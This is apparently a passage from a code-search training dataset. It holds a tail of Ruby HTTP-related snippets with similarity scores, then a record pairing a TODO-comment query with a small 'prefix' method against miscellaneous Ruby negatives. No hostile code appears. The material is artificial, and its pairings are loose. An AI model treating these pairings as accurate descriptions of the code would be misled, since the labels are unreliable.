/^git@(#{hosts}):([^\\/]+)\\/([^\\/]+)\\.git$/i\n { host: $1.downcase(), user: $2, repo: $3 }\n # provider:user/repo\n elsif input =~ /^(github|bitbucket|gitlab):\\/?([^\\/]+)\\/([^\\/]+)\\/?$/i\n { host: $1.downcase(), user: $2, repo: $3 }\n # user/repo - Common GitHub shorthand\n elsif input =~ /^\\/?([^\\/]+)\\/([^\\/]+)\\/?$/\n { host: \"github.com\", user: $1, repo: $2 }\n else\n raise \"Unsupported URL: #{input}\"\n end\nend", "def on_success(http)\n response = nil\n\n # Handle HTTP Status other than 200\n if http.response_header.status != 200\n error = http.response_header.http_reason\n fail(error, *@deferrable_args)\n return\n end\n\n\n # Handle JSON Failure\n begin\n response = JSON.parse(http.response)\n rescue JSON::ParseError => e\n error = e.message\n fail(error, *@deferrable_args)\n return\n end\n\n # Handle google API Error\n if response['error']\n error = response['error']['message']\n fail(error, *@deferrable_args)\n return\n end\n\n # Odd case if response['id'] doesn't exist (Should't happen)\n if response['id'].nil?\n error = \"No short URL was returned (Google API Change?)\"\n fail(error, *@deferrable_args)\n end\n\n # Return the short URL\n short_url = response['id']\n succeed(short_url, *@deferrable_args)\n end", "def hnl_http_get(uri, include_http_response = false)\n # setup the request\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n # make the request\n response = http.request(request)\n\n # and return the result\n return [JSON.parse(response.body)[\"response\"], response] if include_http_response\n JSON.parse(response.body)[\"response\"]\n end", "def get_routing_sms_addresses_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_sms_addresses ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/sms/addresses\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SmsAddressEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_sms_addresses\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def http\n HTTP .headers(accept: \"application/json\")\n # .via(\"127.0.0.1\", 8888)\n end", "def get_http_config\n http_conf = @opts['http'] || {}\n return http_conf\n end", "def initialize text, client_ip=nil\n \n \n @client = client_ip ? client_ip : \"\"\n @complete_request = ''\n @verb = ''\n @resource = ''\n @http_version = [0,0]\n @extra_args = {}\n \n \n # if text is nil at this point, we will leave it at a stub request\n # for debugging purposes.\n return if text.nil?\n \n \n #\n # Separate and chomp each line into array.\n headlines = text.each_line(\"\\r\\n\").map{|line| line.chomp }.to_a\n \n #\n # Rip off the first line and store it as complete request\n requestLine = headlines.shift\n @complete_request = requestLine\n \n #\n # Split request line.\n requestComponents = requestLine.split(/ /) # split on single-space exactly.\n raise HTTPStandardError.new(400, self) unless requestComponents.count == 3 # Bad Request\n \n # We now know there are three parts to the request line.\n @verb, @resource, versionString = requestComponents\n raise HTTPStandardError.new(501, self) unless HTTPHandler::ImplementedVerbs.include?(@verb) # Not Implemented\n raise HTTPStandardError.new(400, self) unless @resource.length > 0 && @resource[0] == '/'\n \n @http_version = version_from versionString\n \n #\n # Having gotten the request, parse the additional information:\n headlines.each do |messageHeader|\n next if messageHeader.length == 0\n \n #\n # Split leading token from the rest.\n headParts = messageHeader.split(':', 2) # Limit split to 2 pcs. b/c rest may contain colons\n raise HTTPStandardError.new(400, self) unless headParts.count == 2\n \n #\n # We take all keys as lowercase, and disallow any key\n # which contains a Token Separator.\n fieldName, fieldValue = headParts\n fieldName.downcase! ; fieldValue.strip!\n TokenSeparators.each {|sep| raise HTTPStandardError 400 if fieldName.include?(sep) }\n \n #\n # Add to dictionary.\n if @extra_args[fieldName]\n # Field already specified; comma-append the new value:\n @extra_args[fieldName] = \"#{@extra_args[fieldName]},#{fieldValue}\"\n else\n @extra_args[fieldName] = fieldValue\n end\n end\n \n end", "def try_to_parse_proxy_protocol; end", "def get_host_tags_with_http_info(host_name, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TagsAPI.get_host_tags ...'\n end\n # verify the required parameter 'host_name' is set\n if @api_client.config.client_side_validation && host_name.nil?\n fail ArgumentError, \"Missing the required parameter 'host_name' when calling TagsAPI.get_host_tags\"\n end\n # resource path\n local_var_path = '/api/v1/tags/hosts/{host_name}'.sub('{host_name}', CGI.escape(host_name.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'HostTags'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :get_host_tags,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V1\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TagsAPI#get_host_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def http_header?(name)\n name.start_with?(\"HTTP\") && !HTTP_NON_HEADERS.include?(name)\n end", "def validate\n needs :http_url unless http_url\n end", "def parse_first_header(line)\n\n # split the line into: METHOD URI PROTOCOL\n # eg: GET / HTTP/1.1\n parsed = line.split(' ')\n\n # a correct request has three parts\n return bad_parsing unless parsed.size == 3\n\n @http_request_method, uri, @http_protocol = parsed\n\n # optional query string\n @http_request_uri, @http_query_string = uri.split('?')\n end", "def from_http?(location)\n location_of_type(location, %w(http https))\n end", "def from_http?(location)\n location_of_type(location, %w(http https))\n end", "def test_absolute_uri_https\n parser = HttpParser.new\n req = parser.env\n http = \"GET https://example.com/foo?q=bar HTTP/1.1\\r\\n\" \\\n \"X-Forwarded-Proto: http\\r\\n\\r\\n\"\n parser.buf << http\n assert_equal req, parser.parse\n assert_equal 'https', req['rack.url_scheme']\n assert_equal '/foo?q=bar', req['REQUEST_URI']\n assert_equal '/foo', req['REQUEST_PATH']\n assert_equal 'q=bar', req['QUERY_STRING']\n\n assert_equal 'example.com', req['HTTP_HOST']\n assert_equal 'example.com', req['SERVER_NAME']\n assert_equal '443', req['SERVER_PORT']\n assert_equal \"\", parser.buf\n assert parser.keepalive?\n end", "def get_rest_api(endpoint, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP GET request against the specified REST API endpoint.\n request = Net::HTTP::Get.new(rest_api_endpoint)\n # Submit the request\n response = http.request(request)\n # Return the response body (JSON containing the results of the query).\n response.body\nend", "def parse_api api_yaml\n api = ::Google::Protobuf::Api.new\n api.name = api_yaml[NAME_KEY] if api_yaml.key? NAME_KEY\n api.version = api_yaml[VERSION_KEY] if api_yaml.key? VERSION_KEY\n api\n end", "def new_http(uri); end", "def http_version\n env['HTTP_VERSION'] || env['SERVER_PROTOCOL'] || 'HTTP/1.0'\n end", "def test_absolute_uri_w_user\n parser = HttpParser.new\n req = parser.env\n http = \"GET http://user%20space@example.com/foo?q=bar HTTP/1.0\\r\\n\\r\\n\"\n parser.buf << http\n assert_equal req, parser.parse\n assert_equal 'http', req['rack.url_scheme']\n assert_equal '/foo?q=bar', req['REQUEST_URI']\n assert_equal '/foo', req['REQUEST_PATH']\n assert_equal 'q=bar', req['QUERY_STRING']\n\n assert_equal 'example.com', req['HTTP_HOST']\n assert_equal 'example.com', req['SERVER_NAME']\n assert_equal '80', req['SERVER_PORT']\n assert_equal \"\", parser.buf\n assert ! parser.keepalive?\n end", "def batch_create_access_bindings request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_batch_create_access_bindings_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::BatchCreateAccessBindingsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def valid_http_response?(http)\n http.is_a?(EM::HttpClient) && non_empty_http_response?(http)\n end", "def http\n Faraday.new(url: URL) do |c|\n c.token_auth self.auth_token\n c.request http_config[:request_encoding]\n c.response :json, :content_type => /\\bjson$/ # parse responses to JSON\n c.adapter http_config[:http_adapter]\n end\n end", "def http\n content_from(\"sf:http\")\n end", "def bind(url); end", "def net_http_init(net_http_response)\n\n @original = net_http_response\n @status = net_http_response.code.to_i\n @body = net_http_response.body\n @headers = {}\n net_http_response.each { |k, v|\n @headers[k.split('-').collect { |s| s.capitalize }.join('-')] = v\n }\n end", "def get(urls)\n if urls.nil? or urls.empty? then\n return {}\n end\n\n urls = [urls] if not urls.kind_of? Array\n urls.each_with_index do |url, i|\n @reqs[i] = url.to_s\n end\n\n results = perform()\n\n ret = []\n (0..results.size-1).each do |i|\n ret << results[i]\n end\n\n return ret\n end", "def parse_args(*args)\n params = if args.size == 3 || (args.size == 2 && args[0].match(%r{https?://}))\n args.pop\n else\n {}\n end\n\n if args.size == 1\n [args[0], nil, nil, params]\n else\n [nil, args[0], args[1], params]\n end\n end", "def ntlm_refresh\n parser = HttpParser.new\n new_params = HttpParams.new\n new_request = nil\n data = @socket.readpartial(Const::CHUNK_SIZE)\n nparsed = 0\n\n while nparsed < data.length\n nparsed = parser.execute(params, data, nparsed)\n if parser.finished?\n new_params[Const::REQUEST_PATH] ||= @params[Const::REQUEST_PATH]\n raise \"No REQUEST PATH\" unless new_params[Const::REQUEST_PATH]\n \n new_params[Const::PATH_INFO] = @params[Const::PATH_INFO]\n new_params[Const::SCRIPT_NAME] = @params[Const::SCRIPT_NAME]\n new_params[Const::REMOTE_ADDR] = @params[Const::REMOTE_ADDR]\n \n new_request = HttpRequest.new(params, @socket, [])\n break\n else\n # Parser is not done, queue up more data to read and continue parsing\n chunk = @socket.readpartial(Const::CHUNK_SIZE)\n break if !chunk or chunk.length == 0 # read failed, stop processing\n\n data << chunk\n if data.length >= Const::MAX_HEADER\n raise HttpParserError.new(\"HEADER is longer than allowed, aborting client early.\")\n end\n end\n end\n \n @params = params\n @body.close\n @body = new_request.body\n rescue HttpParserError => e\n STDERR.puts \"#{Time.now}: HTTP parse error, malformed request (#{params[Const::HTTP_X_FORWARDED_FOR] || client.peeraddr.last}): #{e.inspect}\"\n STDERR.puts \"#{Time.now}: REQUEST DATA: #{data.inspect}\\n---\\nPARAMS: #{params.inspect}\\n---\\n\"\n end", "def parse_url\n set_url_type_and_command\n generate_field\n set_domain\n end", "def http(url, opts = {})\n method = opts[:method] || :get\n response = HTTParty.send(method, url, opts)\n if (200..299).include?(response.code)\n response.body\n else\n raise HttpError.new(\"Bad response: #{response.code} #{response.body}\", response)\n end\n end" ]
[ "0.6452378", "0.5641028", "0.54395413", "0.53634304", "0.5129205", "0.5035941", "0.49165583", "0.490854", "0.48728323", "0.48259574", "0.48155776", "0.47556785", "0.47093236", "0.4592393", "0.4588781", "0.45869166", "0.4556621", "0.4556621", "0.45552963", "0.45306045", "0.45070738", "0.45009166", "0.4471502", "0.44690195", "0.44684184", "0.44436616", "0.44399214", "0.441833", "0.4413246", "0.44060498", "0.4390295", "0.4383295", "0.43681535", "0.4350079", "0.4346589", "0.4335122", "0.43267256", "0.43187514", "0.42881522", "0.42801675", "0.42710912", "0.42669526", "0.42648667", "0.42592695", "0.42428672", "0.42398757", "0.42363045", "0.4232235", "0.42293867", "0.42091683", "0.4203082", "0.41996387", "0.41941094", "0.41930273", "0.4190757", "0.41899768", "0.4188572", "0.41863728", "0.41688278", "0.4166742", "0.4165279", "0.4164371", "0.41591412", "0.41560882", "0.41454086", "0.41410112", "0.4135897", "0.4135709", "0.41202286", "0.41149274", "0.4111564", "0.41058257", "0.41003257", "0.40961182", "0.40929958", "0.40920237", "0.4091621", "0.40908718", "0.4089143", "0.40842438", "0.4069212", "0.40689743", "0.40689743", "0.40586358", "0.4055009", "0.40510547", "0.40482363", "0.40474245", "0.40448132", "0.40399554", "0.403843", "0.40351814", "0.4034637", "0.4032985", "0.40310606", "0.40302438", "0.401543", "0.40147197", "0.40144214", "0.4013747" ]
0.7609485
0
TODO: this probably could be streamlined a lot
def prefix (prefix, message) yield(prefix, message) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def probers; end", "def schubert; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def offences_by; end", "def formation; end", "def stderrs; end", "def anchored; end", "def identify; end", "def transformations; end", "def suivre; end", "def terpene; end", "def operations; end", "def operations; end", "def parts; end", "def parts; end", "def parts; end", "def berlioz; end", "def transform; end", "def intensifier; end", "def transforms; end", "def verdi; end", "def malts; end", "def rassoc(p0) end", "def trd; end", "def next() end", "def next() end", "def villian; end", "def rest_positionals; end", "def sitemaps; end", "def all_by_magic(io); end", "def parslet; end", "def parslet; end", "def parslet; end", "def parslet; end", "def weber; end", "def schumann; end", "def apply\n\t\t\n\tend", "def apply\n\t\t\n\tend", "def common\n \n end", "def implementation; end", "def implementation; end", "def original_result; end", "def refutal()\n end", "def processor; end", "def required_positionals; end", "def custom; end", "def custom; end", "def first; end", "def first; end", "def offences_by=(_arg0); end", "def from; end", "def from; end", "def from; end", "def from; end", "def pos() end", "def pos() end", "def pos() end", "def pos() end", "def bs; end", "def reflector; end", "def reflector; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def order; end", "def order; end", "def same; end", "def deco_pos; end", "def celebration; end", "def feruchemist; end", "def r; end", "def r; end", "def mapping; end", "def mapping; end", "def romeo_and_juliet; end", "def loc; end", "def loc; end", "def loc; end", "def lookups; end", "def user_os_complex\r\n end", "def ignores; end", "def merged_result; end", "def probers=(_arg0); end", "def calls; end", "def calls; end", "def wrapper; end", "def ismn; end", "def tld; end", "def tld; end", "def sld; end", "def preproc; end", "def isolated; end", "def isolated; end", "def who_we_are\r\n end" ]
[ "0.6744652", "0.6207223", "0.5855672", "0.57615083", "0.57615083", "0.57615083", "0.57615083", "0.57443476", "0.57137054", "0.5669704", "0.5613342", "0.5526132", "0.5497977", "0.548586", "0.5461115", "0.54536337", "0.54536337", "0.54190296", "0.54190296", "0.54190296", "0.54166603", "0.5349205", "0.5340085", "0.5300547", "0.52892226", "0.5275078", "0.5263031", "0.5251518", "0.52512854", "0.52512854", "0.52476585", "0.5176773", "0.5170489", "0.51674056", "0.5133448", "0.5133448", "0.5133448", "0.5133448", "0.51268023", "0.5123065", "0.5119886", "0.5119886", "0.51144814", "0.5105793", "0.5105793", "0.50855076", "0.50731903", "0.50714064", "0.5069993", "0.50625163", "0.50625163", "0.5055314", "0.5055314", "0.50446373", "0.5026399", "0.5026399", "0.5026399", "0.5026399", "0.50246435", "0.50246435", "0.50246435", "0.50246435", "0.5005418", "0.5004745", "0.5004745", "0.49887246", "0.49887246", "0.49887246", "0.49887246", "0.49887246", "0.49887246", "0.49794835", "0.49794835", "0.4977796", "0.4977725", "0.49726275", "0.49708048", "0.49685204", "0.49685204", "0.49637514", "0.49637514", "0.49569085", "0.4952683", "0.4952683", "0.4952683", "0.49488205", "0.4948363", "0.49416864", "0.49350646", "0.49346393", "0.49301782", "0.49301782", "0.49300703", "0.49207497", "0.4908066", "0.4908066", "0.49023002", "0.49015206", "0.48979187", "0.48979187", "0.48948702" ]
0.0
-1
______ VERIFICATION DES DROITS _______________
def has_revendeur if(self.entite.droit.has_revendeur == 1) return true else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verdi; end", "def details; end", "def info; end", "def info; end", "def informational?; end", "def summary; end", "def summary; end", "def summary; end", "def summary; end", "def verifiable_info\n {}\n end", "def verifiable_info\n {}\n end", "def info()\n #This is a stub, used for indexing\n end", "def describe\n\t\t\treturn {}\n\t\tend", "def Com6 # Recuperation Info\n \n end", "def private; end", "def desc; end", "def verdict_details\n return @verdict_details\n end", "def stats; end", "def stats; end", "def probers; end", "def statistics; end", "def notations; end", "def details=(_); end", "def desc() summary; end", "def diagnostics; end", "def diagnostics; end", "def diagnostics; end", "def diagnostics; end", "def schubert; end", "def hd\n \n end", "def info\n raise \"Not yet implemented\"\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def variables; end", "def variables; end", "def summary\n {}\n end", "def describe\n # TODO\n end", "def fields; end", "def fields; end", "def fields; end", "def desc=(_); end", "def offences_by; end", "def get_info\n end", "def get_info\n end", "def get_info\n end", "def summary\n end", "def summary\n end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def veteran_info; end", "def info\n\tend", "def visibilities; end", "def stats\n end", "def stats\n end", "def details\n p '===== details ====='\n p \"Main TABLE: #{@main_t}\"\n p \"MAX_FREQUENCY_METRIX\"\n p @cache_mfx_table\n '===== details ====='\n end", "def diagnostic; end", "def inspect()\n #This is a stub, used for indexing\n end", "def declarations; end", "def transferred_properties; end", "def transferred_properties; end", "def lookups; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def summary\n \n end", "def identify; end", "def stderrs; end", "def known_identities; end" ]
[ "0.7134763", "0.68114465", "0.6714089", "0.6714089", "0.65391624", "0.648344", "0.648344", "0.648344", "0.648344", "0.6443403", "0.6443403", "0.6437057", "0.64006996", "0.636764", "0.63674337", "0.6318077", "0.6309993", "0.6305617", "0.6305617", "0.62852097", "0.6282491", "0.6270779", "0.62482965", "0.62461686", "0.6192945", "0.6192945", "0.6192945", "0.6192945", "0.61858463", "0.6153012", "0.6104828", "0.60868675", "0.60868675", "0.60868675", "0.60868675", "0.60788083", "0.60788083", "0.6072977", "0.6042307", "0.60053295", "0.60053295", "0.60053295", "0.6002605", "0.59660506", "0.594337", "0.594337", "0.594337", "0.5942637", "0.5942637", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.5931895", "0.59266126", "0.5924715", "0.5918442", "0.5909185", "0.5909185", "0.58959144", "0.58865005", "0.5854374", "0.58468693", "0.5833931", "0.5833931", "0.58286166", "0.5822636", "0.5822636", "0.5822636", "0.5822636", "0.5822636", "0.5822636", "0.5822636", "0.58126324", "0.58103013", "0.5801", "0.5792772" ]
0.0
-1
____________ RECUPERATION PRODUIT EN VENTE ________
def produit_en_vente my_product_online = ProduitVenteLibre.where('user_id = ? AND deleted = 0', self.id) return my_product_online.count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def Com6 # Recuperation Info\n \n end", "def suivre; end", "def mi_carrera\n\n\tend", "def rescatar\n self.estado_id = 1 #salida si lo creo, entrada/foliado si lo redirijo\n self.estado_id = 3 if self.trazas.count(:conditions => 'movimiento_id in (2,7,8)') > 0\n if self.origen.externo\n RAILS_DEFAULT_LOGGER.info \"devolviendo de origen externo #{self.origen.to_label} a #{self.documento.buzon}\"\n self.buzon_id = self.documento.buzon_id\n else\n self.buzon_id = self.origen_id\n end\n self.add_traza(current_user.id, 14, current_user.puesto.buzon_id)\n self.save!\n end", "def recuperationEtape()\n\t\tstring=@techniqueObjet.etape(@etapeEnCours)\n\t\t@texteContenu.set_text(string)\n\tend", "def recuperationEtape()\n\t\tstring=@techniqueObjet.etape(@etapeEnCours)\n\t\t@texteContenu.set_text(string)\n\tend", "def relatorios\n end", "def probers; end", "def formation; end", "def recuperationNbEtape()\n\t\t@nbEtape=@techniqueObjet.combienEtape()\n\tend", "def recuperationNbEtape()\n\t\t@nbEtape=@techniqueObjet.combienEtape()\n\tend", "def verdi; end", "def preco\n @preco\n end", "def zuruecksetzen()\n end", "def renglones\n\t\t@renglones_reporte\n\tend", "def retire\n\n end", "def recup_handle\n\t\t\n\tend", "def private; end", "def schubert; end", "def partido\n localidad.partido\n end", "def retourAvant()#TOTEST\n if(@indiceCoup < tabCoup.size) #vérification normalement inutile puisque le bouton devrait être disable\n #On annule en passant au coup suivant\n coupSuivant = tabCoup.at(@indiceCoup)\n @grilleEnCours.tabCases[coupSuivant.case.positionY][coupSuivant.case.positionX].couleur = coupSuivant.couleur\n @grilleRaz = nil\n\n @indiceCoup += 1 #On passe au coup suivant\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n end\n\n return [peutRetourAvant?, coupSuivant.case] #Pour dire aux fonctions appelantes si on peut encore aller en avant\n end", "def select_reprint\n @data.inv_no = ''\n reprint_common\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def modelo_carne_build_data_right(doc, boleto, colunas, linhas)\n # LOGOTIPO do BANCO\n doc.image boleto.logotipo, x: (colunas[2] - 0.11), y: linhas[0]\n\n # Numero do banco\n doc.moveto x: colunas[4], y: linhas[0]\n doc.show \"#{boleto.banco}-#{boleto.banco_dv}\", tag: :grande\n\n # linha digitavel\n doc.moveto x: colunas[6], y: linhas[0]\n doc.show boleto.codigo_barras.linha_digitavel, tag: :media\n\n # local de pagamento\n doc.moveto x: colunas[2], y: linhas[1]\n doc.show boleto.local_pagamento\n\n # vencimento\n doc.moveto x: colunas[11], y: linhas[1]\n doc.show boleto.data_vencimento.to_s_br\n\n # cedente\n doc.moveto x: colunas[2], y: linhas[2]\n doc.show boleto.cedente\n\n # agencia/codigo cedente\n doc.moveto x: colunas[11], y: linhas[2]\n doc.show boleto.agencia_conta_boleto\n\n # data do documento\n doc.moveto x: colunas[2], y: linhas[3]\n doc.show boleto.data_documento.to_s_br if boleto.data_documento\n\n # numero documento\n doc.moveto x: colunas[3], y: linhas[3]\n doc.show boleto.documento_numero\n\n # especie doc.\n doc.moveto x: colunas[8], y: linhas[3]\n doc.show boleto.especie_documento\n\n # aceite\n doc.moveto x: colunas[9], y: linhas[3]\n doc.show boleto.aceite\n\n # dt processamento\n doc.moveto x: colunas[10], y: linhas[3]\n doc.show boleto.data_processamento.to_s_br if boleto.data_processamento\n\n # nosso numero\n doc.moveto x: colunas[11], y: linhas[3]\n doc.show boleto.nosso_numero_boleto\n\n # uso do banco\n ## nada...\n\n # carteira\n doc.moveto x: colunas[3], y: linhas[4]\n doc.show boleto.carteira\n\n # especie\n doc.moveto x: colunas[5], y: linhas[4]\n doc.show boleto.especie\n\n # quantidade\n doc.moveto x: colunas[7], y: linhas[4]\n doc.show boleto.quantidade\n\n # valor documento\n doc.moveto x: colunas[8], y: linhas[4]\n doc.show boleto.valor_documento.to_currency\n\n # valor do documento\n doc.moveto x: colunas[11], y: linhas[4]\n doc.show boleto.valor_documento.to_currency\n\n # Instruções\n doc.moveto x: colunas[2], y: linhas[5]\n doc.show boleto.instrucao1\n doc.moveto x: colunas[2], y: linhas[6]\n doc.show boleto.instrucao2\n doc.moveto x: colunas[2], y: linhas[7]\n doc.show boleto.instrucao3\n doc.moveto x: colunas[2], y: linhas[8]\n doc.show boleto.instrucao4\n doc.moveto x: colunas[2], y: linhas[9]\n doc.show boleto.instrucao5\n doc.moveto x: colunas[2], y: linhas[10]\n doc.show boleto.instrucao6\n\n # Sacado\n doc.moveto x: colunas[2], y: linhas[11]\n if boleto.sacado && boleto.sacado_documento\n doc.show \"#{boleto.sacado} - #{boleto.sacado_documento.formata_documento}\"\n end\n\n # Sacado endereço\n doc.moveto x: colunas[2], y: linhas[12]\n doc.show boleto.sacado_endereco.to_s\n\n # codigo de barras\n # Gerando codigo de barra com rghost_barcode\n if boleto.codigo_barras\n doc.barcode_interleaved2of5(boleto.codigo_barras, width: '10.3 cm', height: '1.2 cm', x: colunas[2],\n y: linhas[14])\n end\n end", "def changerEnRouge\n\t\t@couleur=1\n\tend", "def datos_default\n if new_record?\n lastRecord = MovMovimiento.last\n if lastRecord\n self.hoja = lastRecord.hoja\n end\n\n num_abonos = ComPago.where(com_compra: com_compra).count + 1\n self.concepto = \"Abono #{num_abonos} a compra \\\"#{com_compra.title}\\\"\"\n end\n end", "def refutal()\n end", "def resale\n\n end", "def record; end", "def record; end", "def record; end", "def generar_tramitado\n @documento = Documento.new\n @documento.TipoDocumento = TipoDocumento.new\n\n @tramite = Tramite.find(params[:tramite_id])\n @tramite.update_attribute(\"documento\", true)\n @producto_id = params[:producto_id]\n @tramitando = true\n @descripcion = TipoDocumento.find(params[:tipo_id]).descripcion\n @presentaciones = Presentacion.where(:productos_id => @producto_id)\n @importadores = Importador.where(:productos_id => @producto_id)\n puts @tramitado\n flash[:accion] = \"Agregar Documento\"\n flash.keep\n render :action => :new\n end", "def precio\n\t\t@precio\n\tend", "def candidatGrille()\n\n\tend", "def desplegarProceso\n\t\tputs \"id=#{@id} cantBytes=#{@cantBytes} cantPaginas=#{@cantPaginas}\"\n\t\tputs \"marcosRealAsig=#{@marcosRealAsig} marcosSwapAsig=#{@marcosSwapAsig}\"\n\tend", "def povuci_mrezu\n return @mreza\n end", "def informa(pippo)\n # 1. Calcolo i valori di c14_idaliquotaiva e la loro frequenza in lbooks\n ivaInLbooks = Lbook.gruppiIVA\n risultL = \"1. Segue hash ivaInLbooks: #{ivaInLbooks.inspect}\"\n pippo.scriviRiga(risultL)\n\n # 2. Calcolo i valori di idaliquotaiva e la loro frequenza in books\n ivaInBbooks = Book.gruppiIVA\n risultB = \"2. Segue hash ivaInBbooks: #{ivaInBbooks.inspect}\"\n pippo.scriviRiga(risultB) \nend", "def asignar_titulo_propiedad()\n \n end", "def controllaInizio( pippo)\n if INIZIO == 1 && FINE > INIZIO\n return true\n else\n ultimoBook = Book.last\n end \n #ultimoBook = Book.last #<<=== cambiare (commentandola) questa istruzione per il primo ciclo di bidoni\n if INIZIO == ultimoBook.id+1 # 1 <<=== cambiare questa istruzione (mettere: INIZIO == 1) per il primo ciclo di bidoni\n return true\n else\n pippo.scriviRiga(\"Ultimo record in tabella books ha valore: #{ultimoBook.id}\") if INIZIO > 1\n return false\n end\nend", "def posti_disponibili\n self.vehicle.posti - self.n_passeggeri\n end", "def procesarOc(ordenCompra)\n\trespuesta = ProveedorRecibirOcFtp.new.responderOc(ordenCompra)\n\tputs ':) Procesando OC: '<< ordenCompra._id.to_s\n\tif(respuesta) #Si la aceptamos, debemos ir a generar Factura\n\t\tputs ':) Aceptamos OC'\n\t\tif(ProveedorEnviarFacturaFtp.new.enviarFactura(ordenCompra._id)) #Si se genera la Factura, debemos despachar producto\n\t\t\tputs ':) Enviamos Factura'\n\t\t\tProveedorDespacharProductos.new.despacharProductos(ordenCompra, true)\n\t\t\tputs ':) Despachamos productos'\n\t\t\treturn respuesta\n\t\tend\n\tend\n\n\treturn respuesta\nend", "def celebration; end", "def initialize(cliente_ruc_o_cedula, tarifa_servicio)\n\n super()\n unless cliente_ruc_o_cedula.blank?\n if cliente_ruc_o_cedula.include?\"RUC\"\n @t_cliente = TEmpresa.find_by_rif(cliente_ruc_o_cedula).t_cliente\n else\n @t_cliente = TPersona.find_by_cedula(cliente_ruc_o_cedula).t_cliente\n end\n end\n @tarifa_servicio = TTarifaServicio.find_by_codigo(tarifa_servicio) unless tarifa_servicio.blank?\n @cliente_ruc_o_cedula = cliente_ruc_o_cedula\n @tarifa_servicio = tarifa_servicio\n @i = 1\n # @t_recibo = t_recibo\n # @t_factura = t_factura\n # @t_resolucion = @t_factura.t_resolucion\n # @t_cliente = t_cliente\n # @t_empresa = @t_cliente.persona.try(:rif) ? @t_cliente.persona : nil\n # @t_persona = @t_cliente.persona.try(:cedula) ? @t_cliente.persona : nil\n # @t_otro = @t_cliente.persona.try(:identificacion) ? @t_cliente.persona : nil\n @meses = [1 => \"Enero\", 2 => \"Febrero\", 3 => \"Marzo\", 4 => \"Abril\", 5 => \"Mayo\", 6 => \"Junio\", 7 => \"Julio\", 8 => 